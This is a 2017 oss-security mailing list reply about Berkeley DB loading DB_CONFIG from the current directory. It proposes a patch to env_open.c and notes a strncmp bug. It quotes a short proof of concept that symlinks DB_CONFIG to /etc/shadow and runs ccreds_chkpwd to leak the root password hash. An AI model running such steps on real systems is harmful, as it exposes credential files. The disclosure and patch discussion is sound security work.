Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Thu, 15 Jun 2017 16:40:50 +0200
From: Solar Designer <>
Subject: Re: Berkeley DB reads DB_CONFIG from cwd

On Sun, Jun 11, 2017 at 12:06:13AM +0200, Jakub Wilk wrote:
> Apparently Berkeley DB reads the DB_CONFIG configuration file from the 
> current working directory by default[*]. This is surprising and AFAICT 
> undocumented.
> Here's how to exploit it against pam_ccreds:
>    $ cat /etc/shadow
>    cat: /etc/shadow: Permission denied
>    $ ln -sf /etc/shadow DB_CONFIG
>    $ /sbin/ccreds_chkpwd moo < /dev/null
>    BDB1584 line 1: 
>    root:$1$QRCEVRMX$sPppjXE42AZnUPuEWf87D.:17327:0:99999:7:::: incorrect 
>    name-value pair
> (The above was tested on Debian jessie.)
> In the past, nss_db was also exploitable:
> CVE-2010-0826
> [*] More precisely, this seem to happen when you call db_create() with 
> dbenv=NULL; or if you use the dbm_open() function.

Besides possibly updating Postfix, what are distros going to do about
this?  What is upstream going to do?  Have they been contacted?

In the source code, it isn't necessarily as simple as commenting out the
undocumented functionality.  There doesn't appear to be any code
specific to the undocumented functionality, since it is documented that
the DB_CONFIG file is read from the environment's home directory and the
code is there primarily for that purpose.  Problems arise when the
environment is uninitialized, and it is unclear to me whether this was
possibly meant to imply the environment's home directory is the current
directory (but even if so, this behavior is dangerous and needs to go).

At first, I tried checking for dbenv being NULL in __dbenv_config(),
which is where the hard-coded DB_CONFIG file name is found.  However, at
least when testing with Postfix' postmap program (without the recent
workaround), dbenv is non-NULL there, and per strace postmap does indeed
try to open DB_CONFIG in the current directory.  Thus, for now I opted
for this patch checking for and curing the symptom:

--- db-4.3.29/env/env_open.c.orig       2004-12-23 02:58:21 +0000
+++ db-4.3.29/env/env_open.c    2017-06-15 13:59:43 +0000
@@ -500,7 +500,7 @@ __dbenv_config(dbenv, db_home, flags)
        if (p == NULL)
                fp = NULL;
        else {
-               fp = fopen(p, "r");
+               fp = strcmp(p, "DB_CONFIG") ? fopen(p, "r") : NULL;
                __os_free(dbenv, p);

This passes the postmap test for me (postmap no longer tries to open the
file), but I wonder if it possibly broke db's own tests.  I can't easily
run the tests as --enable-test says it needs TCL, which we don't

While at it, I found that rep/rep_backup.c has a comment saying it skips
DB_CONFIG, but the code actually skips DB_CONFIG* (that is, any filename
starting with DB_CONFIG) due to use of strncmp():

                 * Skip DB-owned files: ., ..,  __db*, DB_CONFIG, log*
                if (strcmp(names[i], ".") == 0)
                if (strcmp(names[i], "..") == 0)
                if (strncmp(names[i], "__db", 4) == 0)
                if (strncmp(names[i], "DB_CONFIG", 9) == 0)
                if (strncmp(names[i], "log", 3) == 0)

Either the comment or the code is wrong (I think the code is wrong), but
this is unimportant.


Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.